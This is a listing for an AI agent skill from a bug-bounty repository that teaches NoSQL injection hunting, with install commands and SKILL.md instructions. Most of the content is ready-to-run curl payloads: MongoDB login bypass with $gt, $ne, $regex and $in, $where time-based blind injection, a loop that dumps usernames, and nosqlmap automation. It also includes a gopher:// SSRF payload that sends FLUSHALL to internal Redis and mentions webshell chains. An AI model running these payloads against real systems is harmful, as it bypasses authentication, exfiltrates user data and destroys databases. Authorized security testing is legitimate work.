hunt-nosqli skill

by elementalsouls·elementalsouls/Claude-BugHunter·4.7k stars·MIT

Hunt NoSQL Injection — MongoDB operator injection ($where, $regex, $gt, $ne), CouchDB, Redis command injection, auth bypass via NoSQLi, data dump. Use when target uses MongoDB/Mongoose, CouchDB, Redis, or shows NoSQL error messages.

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Install the hunt-nosqli skill

A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.

git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git /tmp/Claude-BugHunter
mkdir -p ~/.claude/skills
cp -r /tmp/Claude-BugHunter/skills/hunt-nosqli ~/.claude/skills/hunt-nosqli

available in every project

In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub

The instructions your agent would load

SKILL.md as published, without the frontmatter. Read it on GitHub

HUNT-NOSQLI — NoSQL Injection

Crown Jewel Targets

NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High).

Highest-value chains:

MongoDB auth bypass — {"username": {"$gt": ""}, "password": {"$gt": ""}} logs in as first user in collection (usually admin)
$where JS injection — if $where is enabled: blind injection → data exfil
Redis command injection — via SSRF or direct TCP, SLAVEOF attacker-ip → config write → webshell
Elasticsearch injection — _search endpoint with Groovy script injection (pre-5.0) → RCE

Attack Surface Signals

URL & Param Patterns

/api/users/login         POST with JSON body
/api/search?q=
/api/find?filter=
/api/query?where=
Any endpoint accepting JSON body with username/password

Stack Signals

Step-by-Step Hunting Methodology

Phase 1 — Auth Bypass (MongoDB)

# Operator injection in JSON body
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# Regex wildcard — match any username
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'

# ne (not equal) bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$ne": "wrong"}}'

# in array bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'

Phase 2 — URL Parameter Injection

# Array notation (Express/PHP-style)
curl "https://$TARGET/api/users?username[$gt]=&password[$gt]="
curl "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"

# POST form data
curl "https://$TARGET/api/login" \
  --data "username[$gt]=&password[$gt]="

Phase 3 — $where Blind Injection (time-based)

# Test if $where is enabled (time-based detection, 5s delay)
curl -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
# If response takes 5+ seconds → $where injection confirmed

# Blind data exfil (username starts with 'a'?)
curl -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'

Phase 3b — Syntax injection into a concatenated $where/query (string context)

When the app concatenates input into a JS $where STRING ("this.name=='"+input+"'") instead of accepting an operator object, break the string rather than passing $gt/$ne. Fuzz first, then break:

fuzz:  ' " ` { ; $         # any 500/behaviour change = syntax reaches the query
' || '1'=='1               # always-true (string-context breakout)
' && this.password.match(/^a/) || 'x'=='y   # boolean char-exfil oracle

(PortSwigger: Injecting syntax into NoSQL queries.)

Phase 4 — Data Dump via Regex

# Enumerate usernames character by character
for c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do
  RESP=$(curl -s -X POST https://$TARGET/api/users \
    -H "Content-Type: application/json" \
    -d "{\"username\": {\"\$regex\": \"^$c\"}}")
  echo "$c: $(echo $RESP | wc -c)"
done

Phase 5 — Automation

# nosqlmap
pip3 install nosqlmap
nosqlmap -u "https://$TARGET/api/login" --attack 1

# nosqlmap data extraction
nosqlmap -u "https://$TARGET/api/login" --attack 2

Phase 6 — Redis via SSRF

# If SSRF found, probe internal Redis via gopher://
curl "https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a"

# CONFIG SET webshell (if Redis has write access to web root)
# Use SLAVEOF for OOB data exfil

Bypass Table

Chain Table

Validation

✅ Auth bypass: logged in without valid credentials, received valid session token ✅ Data dump: returned users/documents you shouldn't have access to ✅ Blind injection: confirmed via time-delay (>4 seconds consistent)

Severity:

Auth bypass as admin: Critical
User collection dump: High
Blind injection (no useful exfil): Medium

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